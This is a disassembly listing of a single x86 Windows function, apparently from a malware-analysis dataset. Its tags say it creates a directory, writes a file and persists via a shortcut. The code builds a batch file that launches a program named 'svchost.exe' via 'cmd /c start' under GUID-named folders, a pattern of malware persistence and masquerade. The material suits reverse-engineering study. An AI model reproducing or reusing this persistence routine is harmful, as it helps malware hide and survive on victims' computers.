Function at 0x40fce0
Capabilities:
Create directory
Persist via lnk shortcut
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40ff68
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4368e8
call dword [0x489840]
test eax, eax
jne 0x40ff5e
push str.FDE9C15D_C7DE_462F_9ADF_1C9121B208E8
mov ecx, dword [ebp - 8]
push ecx
push 0x432b24
push 0x7fff
mov edx, dword [ebp - 4]
push edx
call fcn.0042217a
add esp, 0x14
lea eax, [ebp - 0xc]
push eax
push 0x47dd98
call fcn.0040d830
add esp, 8
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x40ff54
push 0xbb8
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x40ff4a
push str.4D4145C2_C41B_438B_8B10_3C4A78EDE959
push str.svchost.exe
mov ecx, dword [ebp - 0x10]
push ecx
push str._echo_off_ncmd__c_start______S_S___S
push 0xbb8
mov edx, dword [ebp - 0x14]
push edx
call fcn.00422dec
add esp, 0x18
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push 0
push 0x4368f8
call dword [0x489840]
test eax, eax
jne 0x40ff40
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x40ff36
push str.D26544A0_5240_47A7_8612_14F41EDC613B
mov ecx, dword [ebp - 0x1c]
push ecx
push 0x432b5c
push 0x7fff
mov edx, dword [ebp - 0x20]
push edx
call fcn.0042217a
add esp, 0x14
push 0
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 1
je 0x40fe13
call dword [0x4894ec]
cmp eax, 0xb7
jne 0x40ff2c
push 0xfffe
push 0x40
call dword [0x48948c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x40ff2c
push str.EED38ED0_841F_42A1_BC47_60873B71A803
push str.D26544A0_5240_47A7_8612_14F41EDC613B
mov ecx, dword [ebp - 0x1c]
push ecx
push str._s_s_s.bat
push 0x7fff
mov edx, dword [ebp - 0x28]
push edx
call fcn.0042217a
add esp, 0x18
mov dword [ebp - 0x2c], 0xffffffff
push 0
push 0
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40ff22
mov dword [ebp - 0x30], 0
push 0
lea ecx, [ebp - 0x30]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x30]
cmp edx, dword [ebp - 0x18]
jne 0x40ff12
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x489484]
mov dword [ebp - 0x2c], 0xffffffff
push 0x432b84
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x28]
push edx
call fcn.0041b9f0
add esp, 0xc
test eax, eax
jne 0x40ff12
mov eax, dword [ebp - 0x28]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [0x48985c]
mov edx, dword [ebp - 8]
push edx
call dword [0x48985c]
mov eax, dword [ebp - 4]
push eax
call dword [0x489498]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x489498]
mov eax, 1
jmp 0x40ff6a
cmp dword [ebp - 0x2c], 0xffffffff
je 0x40ff22
mov eax, dword [ebp - 0x2c]
push eax
call dword [0x489484]
mov ecx, dword [ebp - 0x28]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0x20]
push edx
call dword [0x489498]
mov eax, dword [ebp - 0x1c]
push eax
call dword [0x48985c]
mov ecx, dword [ebp - 0x14]
push ecx
call dword [0x489498]
mov edx, dword [ebp - 0x10]
push edx
call dword [0x489498]
mov eax, dword [ebp - 8]
push eax
call dword [0x48985c]
mov ecx, dword [ebp - 4]
push ecx
call dword [0x489498]
xor eax, eax
mov esp, ebp
pop ebp
ret